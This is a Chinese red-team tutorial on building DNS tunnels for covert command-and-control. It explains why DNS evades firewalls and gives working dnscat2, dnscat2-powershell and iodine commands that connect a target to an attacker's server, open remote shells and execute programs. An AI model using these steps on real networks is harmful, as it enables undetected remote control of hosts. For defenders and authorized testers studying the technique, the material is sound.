前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >内网渗透之DNS隧道构建使用

内网渗透之DNS隧道构建使用

作者头像
Al1ex
发布于 2025-01-23 12:12:57
发布于 2025-01-23 12:12:57
21900
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
协议介绍

DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术,虽然激增的DNS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰及TCPUDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS等难以被禁用的协议已经成为攻击者控制隧道的主流渠道

在网络的世界中DNS是一个不可缺少的服务,同时DNS报文本身具有穿透防火墙的能力,由于防火墙和入侵检测设备大多都不会过滤DNS流量,也为DNS成为隐蔽隧道通信创造了条件,越来越多的研究表明,DNS隧道在僵尸网络和APT攻击中扮演重要的角色,用于管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器),C&C节点分为两种,分别是C&C服务器(攻击者)和C&C客户端(被控制端的计算器),C&C通信是指植入C&C客户端的木马或后门程序与C&C服务端上的远程控制程序之间的通信,正常的网络之间的通信都是在两台机器之间建立TCP连接后进行的,在进行数据通信时如果目标是IP地址,可以直接发送报文,如果目标是域名则会先将域名解析成IP地址再进行通信,两台机器建立连接后C&C服务端就可以将指令传递给C&C客户端上的木马(后门)程序让其收到控制,内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况,很多厂商会收集C&C服务端的域名、IP地址、URL等数据,帮助防火墙进行阻断等操作,这样一来C&C通信就会被切断,于是通过各种隧道技术实现C&C通信的技术(特别是DNS隧道技术)出现了

隧道介绍

DNS隧道的工作原理很简单,在进行DNS查询时如果查询的域名不在DNS服务器本机的缓存中就会访问互联网进行查询然后返回结果,如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换,从DNS协议的角度来看这样的操作只是一次次地查询某个特定的域名并得到解析结果,但其本质问题是预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令,域名型DNS隧道木马的通信架构,如下图所示:

在使用DNS隧道与外部进行通信时从表面上看是没有连接到外网的(内网网关没有转发IP数据包),但实际上内网的DNS服务器进行了中转操作,这就是DNS隧道的工作原理,简单的说就是将其他协议封装在DNS协议中进行传输,DNS隧道原理图如下所示:

简易测试

首先我们需要知道当前服务器是否允许通过内网DNS解析外部域名,也就是要测试DNS的连通性,从下面的结果可以看到能够通过内部DNS服务器解析到外部域名,这意味着可以使用DNS隧道实现隐蔽通信:

DnsCat2
工具简介

DnsCat2是一筐开源软件,它使用DNS协议创建加密的C&C通道通过预共享秘钥进行身份验证,使用Shell以及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道,dnscat2的客户端使用C语言编写,服务端使用Ruby语言编写,严格来说DnsCat2是一个命令与控制工具

应用场景

在内网安全工演练中DNS隧道的应用场景如下:

在安全策略严格的内网环境中传统的C&C通信端口会被众多安全设备所监控,RedTeam对目标内网的终端进行渗透测试,发现该网段下只允许白名单流量出站同时其他端口都被屏蔽,传统的C&C通信无法建立,在这样的情况下Red Team还有一个选择——使用DNS隐蔽隧道建立通信

工作模式

DnsCat2隧道提供了两种模式:

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
  • 中继模式:DNS经过互联网的迭代解析指向指定的DNS服务器,这与直连模式相比中继模式的速度较慢

如果目标内网放行所有DNS请求,dnscat2会使用直连模式通过UDP的53端口直接进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询),在请求日志中所有的域名都是以"dnscat"开头的,因此防火墙可以很容易地将直连模式的通信检测出来,如果目标内网中的请求仅限于白名单服务器或特定的域,dnscat2会使用中继模式来申请一个域名并将允许dnscat2服务端的服务器指定为受信任的DNS服务器。

工具优点

DnsCat2通过DNS进行控制与执行命令,与同类工具相比较,DnsCat2有以下优点:

  • 隐蔽通信
  • 流量加密
  • 支持多个会话
  • 使用密钥防止MITM攻击
  • 在内存中执行Powershell脚本
工具安装

首先安装依赖:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler

使用以下命令安装工具:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
bundle install

编译生成客户端:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd dnscat2/client/
make
工具使用
启动服务

使用以下命令启动命令和控制服务器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.188.129" --no-cache
目标上线

从此处(https://downloads.skullsecurity.org/dnscat2/)直接下载Windows系统客户端编译版本之后从目标的命令提示符执行,唯一的要求是指定DNS服务器以便与C2(命令和控制)服务器建立连接

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
dnscat2-v0.07-client-win32.exe --dns server=192.168.188.129

在服务端成功上线:

使用帮助

输入help查看使用帮助:

交互模式

之后输入"session -i 1"进入交互模式:

查看指令

输入help查看可用的指令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
clear
delay
download
echo
exec
help
listen
ping
quit
set
shell
shutdown
suspend
tunnels
unset
upload
window
windows
进入Shell

在服务端输入"shell"可以轻松获取一个shell,这同时会打开另外一个会话:

以下的输入将会出现在目标的命令提示符上:

命令执行

shell交互式较为快速且所有命令将通过DNS流量传输,首先我们通过session转换到Session 2下:

之后执行命令:

调用程序

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
calc.exe
其他功能

dnscat2也提供了其他功能,例如:文件上传、文件下载、关机、延迟等等,这里就不再多做演示了:

Powershell

Luke Baggett开发了一种PowerShell版植入物,已在blackhillsinfosec(https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/)网站上介绍和描述,这些命令是相同的,但添加了其他功能,例如:交互式PowerShell会话和直接从内存运行脚本的功能,需要从目标上的PowerShell会话执行以下命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
PS C:\> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.188.129

同样会收到上线的主机(这里笔者重启了一次服务端,之前的会话已没有了,下面是新建的):

我们可以通过"exec psh"来创建一个powershell会话,之后通过session进行切换以此来进行交互:

Iodine
基本简介

碘的原子序数为53,二者恰好是DNS的端口号,故该工具被命名为"iodine",iodin可以通过一套DNS服务器制造一个IPv4的数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用,iodine是基于C语言开放的,分为服务端程序iodined和客户端程序iodine

iodine特色

iodine与同类工具相比较具备以下优点:

  • 支持16个并发连接
  • 支持强制密码机制
  • 支持多种DNS记录类型
  • 不会对下行数据进行编码
  • 提供丰富的隧道质量检测措施
  • 支持多平台,包括Windows、linux、Mac OS等
  • 支持同网段隧道IP地址(不同于服务器——客户端网段)
模式介绍

iodine支持直接转发和中继两种模式

  • 直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求
  • 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器,相比直连速度较慢但是更安全
安装步骤

1、准备2台Linux机器,其中一台作为DNS隧道的主控机,另外一台作为被控机

2、从https://github.com/yarrick/iodine上克隆项目之后运行make install以编译服务器和客户端二进制文件

3、编译成功后把服务端扔到主控机上输入iodined --help验证是否安装成功

4、把客户端扔到被控机上,输入iodine --help验证是否安装成功

PS:Windows版本下载地址———https://code.kryo.se/iodine/

使用步骤

在服务端机器上执行以下命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
iodined -f -c -P 123456 192.168.188.129 abc.com -DD

参数说明:

  • -f:在前台运行
  • -c:禁止检查所有传入请求的客户端IP地址
  • -P:客户端和服务器之间用于验证身份的密码
  • -D:指定调试级别,-DD指第二级别,"D"的数量随等级增加

在客户端机器上,执行以下命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
iodine -P 123456 -f -r -T TXT 192.168.188.129 abc.com

参数说明:

  • <your iodine server ip> 可选,表示不走DNS服务商,直接向iodine服务端所在的服务器IP请求DNS解析,即直连
  • -r由于iodine有时可能会自动切换DNS隧道为UDP通道,故该参数作用是:强制在任何情况下使用DNS隧道
  • -f 将使客户端保持在前台运行
  • -t 使用的DNS类型

在正式使用过程中我们需要先设置域名(设置成功与否可以通过网站:https://code.kryo.se/iodine/check-it/ 来查看),之后再根据以上步骤操作即可,笔者这里就不再赘述了,因为没有配置域名于此同时当客户端出现"Connectiong setup complete,transmitting data"提示信息时则表示DNS隧道已经成功建立了,之后可以进行ping测试或者ssh远程连接以及RDP远程连接等等

相关链接

https://github.com/iagox86/dnscat2

https://github.com/lukebaggett/dnscat2-powershell

https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/

推 荐 阅 读

横向移动之RDP&Desktop Session Hijack

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-01-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
Python爬取网易云歌曲评论,做词云分析
前言 emmmm 没什么说的,想说的都在代码里 环境使用 Python 3.8 解释器 3.10 Pycharm 2021.2 专业版 selenium 3.141.0 本次要用到selenium模块,所以请记得提前下载好浏览器驱动,配置好环境 代码实现 先是安装、导入所需模块 from selenium import webdriver # 导入浏览器的功能 import re # 正则表达式模块, 内置 import time # 时间模块, 程序延迟 1. 创建一个浏览器对象 drive
松鼠爱吃饼干
2022/09/01
9160
Python爬取网易云歌曲评论,做词云分析
Python爬虫:动态爬取QQ说说并生成词云,分析朋友状况
今天我们要做的事情是使用动态爬虫来爬取QQ空间的说说,并把这些内容存在txt中,然后读取出来生成云图,这样可以清晰的看出朋友的状况。
龙哥
2018/10/22
1.5K0
Python爬虫:动态爬取QQ说说并生成词云,分析朋友状况
用Python爬取糗事百科段子,可视化后结果发现
生活真是太苦了,需要找点快乐的精神食粮支撑社畜生活,听说糗事百科段子挺多,今天就来看一看!
朱小五
2021/02/05
5530
用Python绘制词云:让数据可视化变得生动有趣
导读:你是否曾想过,如何将一堆枯燥的数据转化为一幅幅引人入胜的视觉艺术品?词云,作为一种流行的数据可视化技术,能够将文本数据中的关键词以不同大小和颜色呈现,直观地展示信息的密度和重要性。在本文中,我们将探索如何使用Python——一种强大而灵活的编程语言——来绘制出既美观又富有洞察力的词云图。
三猫
2024/06/26
5000
用Python绘制词云:让数据可视化变得生动有趣
拿来就用能的Python词云图代码|wordcloud生成词云详解
词云也叫文字云,是一种可视化的结果呈现,常用在爬虫数据分析中,原理就是统计文本中高频出现的词,过滤掉某些干扰词,将结果生成一张图片,直观的获取数据的重点信息。今天,我们就来学习一下Python生成词云的常用库「wordcloud」。
吾非同
2021/03/12
4.8K0
怎么制作词云图?
使用 Python 环境下的 wordcloud 工具,就能方便地生成词云图(感谢开源社区!🎉️ )。
WEBJ2EE
2024/03/22
6420
怎么制作词云图?
Python带你看不一样的《青春有你2》小姐姐之评论内容可视化
详细介绍和用法可以去github看:https://github.com/fxsjy/jieba,这里不多做介绍,只介绍本次用到的
极简小课
2022/06/27
6000
Python带你看不一样的《青春有你2》小姐姐之评论内容可视化
再也不用手动复制粘贴收集Taptap游戏评论了,还可以制作好看的热词词云图~
同学们,猜猜以下6款游戏分别是TapTap上面的哪6款产品呢??欢迎在留言区留言哦~ 【我们会在接下来教大家怎么一键生成大家喜爱的游戏产品评论热词词云】
可以叫我才哥
2021/08/05
1.3K0
python之生成带背景的词云图(附源码)
wordcloud.WordCloud 类是用于生成词云图像的主要类常用参数及示例
不止于python
2023/09/05
9060
python之生成带背景的词云图(附源码)
赘婿词云图制作
之前的文章我们已经介绍了如何使用wordcloud库制作中英文词云图,并介绍了中英文停用词的使用方法,介绍了如何美化词云图,例如换字体背景颜色,背景换成图片等,那这次我们就以现在很火的电视剧赘婿为例,制作赘婿小说的词云图。
罗罗攀
2021/03/15
8350
关于词云可视化笔记三(pkuseg和中文词汇可视化)
pkuseg是由北京大学语言计算与机器学习研究组研制推出的一套全新的中文分词工具包。pkuseg具有如下几个特点:
python与大数据分析
2022/03/11
4980
关于词云可视化笔记三(pkuseg和中文词汇可视化)
Python生成圣诞节词云-代码案例剖析
这段代码使用了jieba进行中文分词,结合stylecloud库生成了一个基于指定配色方案的圣诞主题词云图。以下是对代码的解释:
一键难忘
2023/12/23
1.4K0
软件测试|教你使用Python快速绘制酷炫词云图
词云图现在似乎成了各个互联网产品年终盘点的标准形式,比如我们的热搜,我们QQ音乐网易云音乐最喜欢的歌手最喜欢的歌曲等等,词云图实在是太契合互联网时代了。那么我们能不能自己也去画一个词云图出来?就用我们的Python来完成这个目标。
霍格沃兹测试开发Muller老师
2023/02/19
8350
【实战教程】借助 CodeBuddy 轻松打造精美中文词云图 - AI 编程助手使用体验
在数据可视化领域,词云图是一种直观而富有艺术感的表现形式,能够清晰地展示文本中词语的频率和重要性。本文将详细记录如何借助 CodeBuddy 这款 AI 编程助手,从零开始实现一个支持中文的词云图生成工具。我们将通过一系列提问与优化,逐步完善代码,最终得到一个功能完备的词云图应用。
全栈若城
2025/05/19
1130
Python 爬虫实践:《战狼2》豆瓣影评分析
来源:hang segmentfault.com/a/1190000010473819 简介 刚接触python不久,做一个小项目来练练手。前几天看了《战狼2》,发现它在最新上映的电影里面是排行第一的,如下图所示。准备把豆瓣上对它的影评做一个分析。 目标总览 主要做了三件事: 抓取网页数据 清理数据 用词云进行展示 使用的python版本是3.5. 一、抓取网页数据 第一步要对网页进行访问,python中使用的是urllib库。代码如下: from urllib import request res
小小科
2018/05/02
1.1K0
Python 爬虫实践:《战狼2》豆瓣影评分析
Python数据可视化 词云图 绘制词云的方法总结
pyecharts是基于echarts的python库,能够绘制多种交互式图表,和其他可视化库不一样,pyecharts支持链式调用。
叶庭云
2020/09/17
31.6K0
Python数据可视化   词云图  绘制词云的方法总结
python爬鱿鱼游戏的评价 看看鱿鱼游戏到底值不值得看 初识selenium
鱿鱼游戏是什么,相信大家都不陌生了,虽然说博主没看过这部剧,但是还是对豆瓣的评论有点好奇,刚刚好近期学习了selenium,就当练练手了,来吧来吧,爬爬爬。
小王不头秃
2024/06/19
1420
python爬鱿鱼游戏的评价 看看鱿鱼游戏到底值不值得看 初识selenium
实战|Python轻松实现绘制词云图(附详细源码)
项目背景虽然现在已经有很多现成的制作词云图的工具了,但一般存在以下几个问题:问题一:工具太多,眼花缭乱,质量参差不齐,选择困难症; 问题二:大多词云工具或多或少有一些限制,自定义的空间有限;问题三:有些工具甚至收费。基于以上几个问题,迪迪觉得有必要写一篇Python绘制词云图的文章,因为实在太简单!没有任何编程基础的小白都能搞定的事,还找什么工具啊!
程序员迪迪
2022/01/10
1.3K0
(数据科学学习手札71)在Python中制作个性化词云图
词云图是文本挖掘中用来表征词频的数据可视化图像,通过它可以很直观地展现文本数据中地高频词:
Feffery
2019/11/18
1.2K0
【推荐收藏】介绍2种Python绘制词云的手法,你会偷偷pick谁呢?
最近有粉丝同学在演示此前案例时发现在制作词云的时候有报错,希望才哥能讲解一下Python词云的绘制,那么今天他来了。
可以叫我才哥
2021/08/05
8090
推荐阅读
相关推荐
Python爬取网易云歌曲评论,做词云分析
更多 >
LV.2
这个人很懒,什么都没有留下~
目录
  • 协议介绍
  • 隧道介绍
  • 简易测试
  • DnsCat2
    • 工具简介
    • 应用场景
    • 工作模式
    • 工具优点
    • 工具安装
    • 工具使用
      • 启动服务
      • 目标上线
      • 使用帮助
      • 交互模式
      • 查看指令
      • 进入Shell
      • 命令执行
      • 其他功能
    • Powershell
  • Iodine
    • 基本简介
    • iodine特色
    • 模式介绍
    • 安装步骤
    • 使用步骤
  • 相关链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档